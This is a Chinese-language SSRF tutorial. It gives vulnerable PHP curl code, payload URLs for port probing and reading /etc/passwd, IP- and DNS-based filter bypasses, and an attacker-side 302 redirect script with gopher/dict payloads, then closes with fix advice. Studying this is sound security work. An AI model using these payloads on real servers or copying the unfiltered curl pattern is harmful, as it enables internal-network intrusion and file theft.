# 漏洞简介
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)攻击者通过服务端构造恶意请求链接访问内网资源
攻击者可通过网站功能点存在的SSRF漏洞,作为跳板发起恶意请求访问内网资源
# 漏洞原理
由于服务器端提供了一个可以访问其他服务器数据的功能,例如用户提供的URL中获取图片或者文件等,但是没有对用户提供的URL进行严格过滤和限制,则导致攻击者可以恶意构造的URL让服务器端发起请求。
# 漏洞攻击范围
- 扫描内网端口及内务服务Banner信息
- 读取服务器文件
- 获取内网的资产信息
- 攻击内网Web应用
- 利用内网应用漏洞Getshell
# 漏洞利用场景
- 在线翻译
- 分享
- 订阅
- 加载远程资源
- 在线识图
- ...
在由发起请求的功能点,都可能存在SSRF漏洞
# 漏洞利用
# 常见的SSRF利用协议
http
http://127.0.0.1:22
dict
dict://127.0.0.1:80
file
file:///etc/passwd
stfp
tftp
ldap
gopher
# 服务端代码
<?php
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$_GET['url']);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_exec($ch);
curl_close($ch);
?>
2
3
4
5
6
7
8
9
10
11
12
13
# Dict协议端口检测
http://localhost/ssrf1.php?url=dict://127.0.0.1:3306
使用 dict
协议端口扫描,若端口开放有Banner信息,若没开放则没有返回信息,上图为开放了MySQL数据库3306端口
# File文件读取
http://localhost/ssrf1.php?url=file:///etc/passwd
使用 file
协议读取服务器 /etc/passwd
文件内容
# Http Banner信息获取
http://localhost/ssrf1.php?url=http://127.0.0.1:22
使用 http
协议请求内网地址 ssh 22端口
服务,获取到Banner信息,说明该IP开放了22端口
# 漏洞绕过方法
# 检测内网IP
若过滤了如下内网IP地址
- 192.168.0.0/16
- 10.0.0.0/8
- 172.16.0.0/12
- 127.0.0.0/8
- 0.0.0.0
那么可以通过进制转换来绕过
八进制IP
0177.0.0.1
十六进制IP
0x7f000001
十进制IP
2130706433
通过正则匹配不到
# DNS解析
只判断是不是内网IP也有缺陷,传入的HOST是域名形式而不是IP形式的则会绕过
http://xip.io 这个域名可以自定义域名解析自定义的内网IP地址上
例如,解析到本地127.0.0.1地址
ping www.127.0.0.1.xip.io
PING www.127.0.0.1.xip.io (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.031 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.069 ms
^C
--- www.127.0.0.1.xip.io ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.031/0.054/0.069/0.015 ms
2
3
4
5
6
7
8
9
10
若想解析到内网192.168.1.1地址上,则改域名为 192.168.1.1.xip.io
# URL解析
后端如果对传入的URL进行解析,则可能会绕过
http://www.baidu.com@127.0.0.1 解析这个地址则会解析到本地127.0.0.1地址
# 301/302跳转
这个方法绕过需要一些条件
- 检测参数是否为内网IP地址
- 使用了CURL方法,
CURLOPT_FOLLOWLOCATION
为 true,跟随跳转
能利用跳转的协议
- http/https
- dict
- gopher
# 服务端代码
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//根据服务器返回 HTTP 头中的 "Location: " 重定向
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
echo $url;
curl($url);
2
3
4
5
6
7
8
9
10
11
12
# 攻击者利用跳转的代码
<?php
$schema = $_GET['schema'];
$ip = $_GET['ip'];
$port = $_GET['port'];
$query = $_GET['query'];
echo "\n";
echo $schema . "://".$ip."/".$query;
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
# 协议跳转利用
# http/https
http://xxxxx.com/ssrf.php?url=http://vps的IP/302.php?schema=http&ip=127.0.0.1&port=80
# dict
http://xxxxx.com/ssrf.php?url=http://vps的IP/302.php?schema=dict&ip=127.0.0.1&port=29362&query=info
# gopher
http://xxxxx.com/ssrf.php?url=http://vps的IP/302.php?schema=gopher&ip=127.0.0.1&port=2333&query=66666
2
3
4
5
6
# 漏洞修复建议与总结
- 限制请求端口只能为80端口或者业务端口,限制放问只能通过
http/https
协议的请求 - 禁止请求内网IP或资源
- 屏蔽所有返回的信息
# 常见出现SSRF漏洞函数
file_get_contents()
fsockopen()
curl_exec()
2
3
当然还可以通过其他骚操作利用SSRF,参考链接:https://mohen.blog.csdn.net/article/details/108941738
# 参考文章
https://wiki.wgpsec.org/knowledge/web/csrf-ssrf.html
https://blog.csdn.net/qq_44632668/article/details/102631585
https://blog.csdn.net/qq_44632668/article/details/102631585